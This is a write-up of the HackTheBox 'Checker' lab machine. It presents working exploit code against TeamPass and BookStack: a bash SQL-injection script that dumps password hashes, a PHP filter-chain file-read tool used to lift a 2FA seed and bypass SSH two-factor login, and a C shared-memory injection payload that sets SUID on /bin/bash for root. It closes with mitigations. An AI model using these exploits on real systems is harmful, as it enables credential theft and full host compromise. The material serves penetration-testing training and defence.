Checker
Writeup for HackTheBox Checker machine
Executive Summary
This report details the security assessment of the HackTheBox machine “Checker” (medium-difficulty, Linux). The attack chain is as follows:
- Reconnaissance — Identify SSH, Apache (port 80), and TeamPass (port 8080).
- SQL Injection → TeamPass — Exploit SQLi in TeamPass API to extract bcrypt hashes; crack offline to compromise user
bob. - BookStack LFI → 2FA Bypass — Use Bob’s credentials to access BookStack on port 80. Exploit LFI via PHP filter chains to read
reader’s.google_authenticatorseed. Generate TOTP codes to bypass SSH 2FA. - Shared Memory Command Injection → Root — Reader has
NOPASSWDsudo on a script that reads from shared memory. Pre-allocate a shared memory block with a malicious payload — when the script runs under sudo, the payload executes, setting SUID on/bin/bashfor root access.
Reconnaissance
ICMP Ping Verification
We verify connectivity to the target host (IP: 10.10.11.56) using ping:
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ ping -c 4 10.10.11.56
PING 10.10.11.56 (10.10.11.56) 56(84) bytes of data.
64 bytes from 10.10.11.56: icmp_seq=1 ttl=63 time=244 ms
64 bytes from 10.10.11.56: icmp_seq=2 ttl=63 time=263 ms
64 bytes from 10.10.11.56: icmp_seq=3 ttl=63 time=285 ms
64 bytes from 10.10.11.56: icmp_seq=4 ttl=63 time=353 ms
--- 10.10.11.56 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 244.473/286.443/353.344/41.229 ms
Network Port Scanning (Nmap)
We scan the host to discover open ports, identify active services, and perform OS detection:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ sudo nmap -sV -O 10.10.11.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
8080/tcp open http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan reveals three open ports:
- Port 22: SSH
- Port 80: HTTP web application
- Port 8080: HTTP web application
Enumerating Port 8080 (TeamPass SQL Injection)
Accessing port 8080 redirects to a login interface for TeamPass, a collaborative password manager.
According to public disclosures, TeamPass is vulnerable to a SQL injection flaw in its API route. Refer to:
We utilize the following bash script to automate the exploit, querying the /api/index.php/authorize endpoint to execute our SQL injection payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}
users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
echo "There are $users users in the system:"
for i in `seq 0 $(($users-1))`; do
username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
echo "$username: $password"
done
We execute our script against the target:
1
2
3
4
5
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ ./exploit.sh http://checker.htb:8080/
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
We crack Bob’s hash using John the Ripper:
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ john --format=bcrypt --wordlist=/home/kali/opt/rockyou.txt bob.hash
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader (bob)
1g 0:00:00:05 100% 0.1845g/s 159.4p/s 159.4c/s 159.4C/s caitlin..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed
The cracked credentials for Bob are:
- Username:
bob - Password:
cheerleader
We authenticate as Bob to the TeamPass portal:
Inside, we locate stored credentials for SSH and BookStack. SSH is protected by two-factor authentication (2FA). We pivot to BookStack running on port 80 using the recovered credentials.
Web Exploitation: BookStack LFI via PHP Filter Chains
BookStack is vulnerable to an access control issue that can be exploited for Local File Inclusion (LFI). References:
We utilize the PHP filter chains exploit tool to read system files.
To trigger the exploit, we create a new book in BookStack, add a new page containing custom HTML, and capture the HTTP traffic when saving the draft using Burp Suite.
We update the requestor.py module inside the exploit structure to include our session details and custom headers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import json
import requests
import time
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
import re
class Requestor:
def __init__(self, file_to_leak, target, parameter, data="", headers="{}", verb=Verb.POST, in_chain="", proxy=None, time_based_attack=False, delay=0.0, json_input=False, match=False):
self.file_to_leak = file_to_leak
self.target = target
self.parameter = parameter
self.headers = json.loads(headers)
self.verb = verb
self.json_input = json_input
self.match = match
self.data = data
self.in_chain = f"|convert.iconv.{in_chain}" if in_chain else ""
self.delay = float(delay)
self.proxies = {'http': proxy, 'https': proxy} if proxy else None
self.instantiate_session()
if time_based_attack:
self.time_based_attack = self.error_handling_duration()
else:
self.time_based_attack = False
def instantiate_session(self):
self.session = requests.Session()
self.session.headers.update(self.headers)
self.session.proxies = self.proxies
self.session.verify = False
self.session.timeout = 10 # Set timeout (in seconds) for each request
def join(self, *x):
return '|'.join(x)
def error_handling_duration(self):
chain = "convert.base64-encode"
requ = self.req_with_response(chain)
self.normal_response_time = requ.elapsed.total_seconds()
self.blow_up_utf32 = 'convert.iconv.L1.UCS-4'
self.blow_up_inf = self.join(*[self.blow_up_utf32] * 15)
chain_triggering_error = f"convert.base64-encode|{self.blow_up_inf}"
requ = self.req_with_response(chain_triggering_error)
return requ.elapsed.total_seconds() - self.normal_response_time
def parse_parameter(self, filter_chain):
return {self.parameter: filter_chain}
def req_with_response(self, s, retries=3, base_delay=1):
if self.delay > 0:
time.sleep(self.delay)
import base64
php_filter = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
filter_chain = f"<img src='data:image/png;base64,{php_filter}'/>"
merged_data = self.parse_parameter(filter_chain)
for attempt in range(retries):
try:
if self.verb == Verb.GET:
return self.session.get(self.target, params=merged_data)
elif self.verb == Verb.PUT:
return self.session.put(self.target, data=merged_data)
elif self.verb == Verb.DELETE:
return self.session.delete(self.target, data=merged_data)
elif self.verb == Verb.POST:
return self.session.post(self.target, data=merged_data)
except requests.exceptions.RequestException as e:
print(f"[Error] Attempt {attempt+1}/{retries} failed: {str(e)}")
if attempt == retries - 1:
print("[-] Could not instantiate a connection after multiple attempts")
exit(1)
time.sleep(base_delay * (2 ** attempt)) # Exponential backoff
return None
def error_oracle(self, s):
requ = self.req_with_response(s)
if self.match:
return self.match in requ.text
if self.time_based_attack:
return requ.elapsed.total_seconds() > ((self.time_based_attack / 2) + 0.01)
return requ.status_code == 500
We execute the script to read /etc/hosts:
1
2
3
4
┌──(kali㉿kali)-[~/CTF/HTB/Checker/php_filter_chains_oracle_exploit]
└─$ python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/12/save-draft --file '/etc/hosts' --verb PUT --parameter html --headers '{"Content-Type":"application/x-www-form-urlencoded","X-CSRF-TOKEN":"U8HOxoz7FLPtHMIzgCF8OgSt92LLbCEYDQPyImY0","Cookie":"XSRF-TOKEN=eyJpdiI6IjFmU3I1d2xUUUlhVkVLTUozWGwveVE9PSIsInZhbHVlIjoiRHpwSjBTQXdQV3ZGSVFNWHp6QkRITkR6a1ZodmFIYnpqWFVrTG5jWHZGcHNEVmc1TGlheXpKc0pKd1pwYzRBNUtnQjVHSWdQOVhuSGVEcytOc0svbHFTQVlXU1BPdjM3bjduV1lKeVRpUWhLUVZ2bWVDd1dmTjZ4ZXJmVG1HTlIiLCJtYWMiOiIwMjA5NDA0NDgzODhjYTZjY2NiZGFlODczNmQ1MGYyNDlmMjlkM2YyNDIwMTk5ZjRhY2Q1ZDhlN2EwMDJjNWE2IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6InFBS0EzREVtSWxNRlUyWkxuRXVuRUE9PSIsInZhbHVlIjoiMUhBZjRva3FpaHlJai9kT0h4UlYrZ0VLcFhqTVV4UzVzWlpVR2pBRXZCM0NMWU9xOW1VT1RObGUwT1pJeWE1VlBHQmdONXQ2cmU4L09RVmM1VVk1cnNqdXFIcW5WL0xwK3NNNnE1c0FmZVozUFRxTVZZRG8xME00d3duc3E1eXUiLCJtYWMiOiIwYWMzNjMyMDRiODNiOWM1MjFlMjcwZGVkOGE5NDBkNzI5MTE1NGRlODVlN2NkYWZjY2RlYzJmN2Y2NjNkMzU1IiwidGFnIjoiIn0%3D;"}'
MTI3LjAuMC4xI
b'127.0.0.1 '
The LFI vulnerability is successfully validated.
Bypassing SSH Two-Factor Authentication (2FA)
We inspect BookStack documents and find notes regarding system backups at http://checker.htb/books/linux-security/page/basic-backup-with-cp.
While reviewing Bob’s account settings in BookStack, we see that enabling two-factor authentication (2FA) generates a downloadable backup file named backup_codes.txt.
We deduce that other users on the system (such as reader) might have their 2FA backup codes or configuration files archived in the backup directories. To understand the 2FA mechanism, we refer to a standard Teleport SSH 2FA tutorial. The user reader’s Google Authenticator configurations are stored in the .google_authenticator file.
We target this file using our LFI chain:
1
2
3
4
5
┌──(kali㉿kali)-[~/CTF/HTB/Checker/php_filter_chains_oracle_exploit]
└─$ python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/8/save-draft --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"Content-Type":"application/x-www-form-urlencoded","X-CSRF-TOKEN":"fKSPiJtE6jhoMJBXY2orUrgMj9CxtVjxRHu2uYFD","Cookie":"XSRF-TOKEN=eyJpdiI6IjBxb0Y1dHAzb2VNTnNlWW9IZEJneXc9PSIsInZhbHVlIjoiUkp5YUNHQWNuZEdKUTNMZnJoVjRHQWxXUXhqeUZmaGNqUWRST2NEUXdwMHNQWDdZb0hYaW0rcTFjcGpRcG1RT1BsaUNQb1RMbFhSVlNYZE5BZWdqeXRVSWkva0ttSFdDcEtkWHdSTkZ6dkRnUWh2VmNIMGFoVnpCeVRjU2hxbVgiLCJtYWMiOiIxODczZTgyYWNmODc5ODIyY2VmZmQzM2EyNmU5ZTY5Mzc0ZjBhYWI0NTJhYmE1NDJlYzIyY2I3ODg3OTU3YmNhIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IjJ5VlRRNkFHTSt4TXkvS0crS091U1E9PSIsInZhbHVlIjoiZnMwK2pFZVJtSnBjNE4rZDJKT3VvcDJZZTVySS9ZQVJLYUczdE9uVm1UQURDVGw5MXhUMTJ5T1l6QXA1Mm9DNWRja1N0d2N5Sm5qQWdOYjJMem5TM1ZjV3ZwUWFteDRtTzd1Njh5ZUR3aUlvYUllMHdkaGx6YkUwbVRSbklya0MiLCJtYWMiOiI2MzQyNGJiM2E0NDk0ZDg3ZTk4N2UzYzMzMGQ4YzZjNTdlOTYxZjM1MTczZDdlZmFmYTU5MDBhZGNkYjhhNThhIiwidGFnIjoiIn0%3D;"}'
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
The extracted Google Authenticator secret key seed is DVDBRAODLCWF7I2ONA4K5LQLUE. We input this key into a TOTP OTP generator to generate active 2FA codes.
Using the generated code and Bob’s harvested credentials, we connect via SSH as reader to retrieve the user flag (user.txt):
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/CTF/HTB/Checker/]
└─$ ssh reader@10.10.11.56
(reader@10.10.11.56) Password:
(reader@10.10.11.56) Verification code:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
...
-bash-5.1$ ls
tmp user.txt
-bash-5.1$ cat user.txt
022f-----------------------------
Local Privilege Escalation
We run sudo -l to check the permitted sudo configurations for reader:
1
2
3
4
5
6
-bash-5.1$ sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
We inspect the contents of the wrapper script /opt/hash-checker/check-leak.sh:
1
2
3
4
5
-bash-5.1$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
The script executes a compiled binary /opt/hash-checker/check_leak. Decompiling or auditing this binary reveals that it utilizes a shared memory segment to parse database entries.
Shared Memory command Injection Exploitation
We compile a custom helper program to hook the shared memory block, writing a command injection payload that grants root privileges by assigning the SUID bit to /bin/bash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#define SHM_SIZE 0x400
#define SHM_MODE 0x3B6
int main(void) {
srand((unsigned int)time(NULL));
key_t key = rand() % 0xfffff;
printf("Generated key: 0x%X\n", key);
int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE);
if (shmid == -1) {
perror("shmget");
exit(EXIT_FAILURE);
}
char *shmaddr = (char *)shmat(shmid, NULL, 0);
if (shmaddr == (char *)-1) {
perror("shmat");
exit(EXIT_FAILURE);
}
snprintf(shmaddr, SHM_SIZE, "Leaked hash by furious > '; chmod +s /bin/bash;#");
printf("Shared Memory Content:\n%s\n", shmaddr);
if (shmdt(shmaddr) == -1) {
perror("shmdt");
exit(EXIT_FAILURE);
}
return 0;
}
We write the code to bof.c, compile it, and execute it in a loop:
1
2
3
4
5
6
-bash-5.1$ nano bof.c
-bash-5.1$ gcc -o bof bof.c
-bash-5.1$ while true; do ./bof; done
Generated key: 0x4121F
Shared Memory Content:
Leaked hash by furious > '; chmod +s /bin/bash;#
While the payload runs in the background, we execute the sudo script in a separate terminal:
1
2
3
4
5
-bash-5.1$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x48A5D as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db
The script execution parses our injected shared memory segment, executing our SUID payload. We launch bash with preserved privileges:
1
2
3
-bash-5.1$ bash -p
bash-5.1# whoami
root
We retrieve the root flag (root.txt):
1
2
bash-5.1# cat /root/root.txt
3438-------------------------------
Mitigations & Security Recommendations
To secure the host against these vulnerabilities, implement the following steps:
- Remediate API SQL Injection in TeamPass:
- Update the TeamPass application to the latest version.
- Ensure all inputs passed to API routing and database structures are sanitized or queried using parameterized SQL queries.
- Secure BookStack Access Policies & Update Software:
- Restrict directory reading permissions and configure the application root directory properly.
- Update BookStack to address incorrect access control flaws.
- Two-Factor Authentication Security:
- Restrict access to Google Authenticator configurations (
.google_authenticator) and backup files. Restrict backup directory permissions using strict NTFS/ext4 ACLs.
- Restrict access to Google Authenticator configurations (
- Harden Shared Memory and Sudo Execution Wrapper:
- Restrict wildcard arguments (
*) in sudo rules. Avoid allowing non-root users to execute shell scripts with wildcard arguments. - Audit the
/opt/hash-checker/check_leakbinary. Implement input validation on data retrieved from shared memory blocks and avoid calling shell commands directly.
- Restrict wildcard arguments (








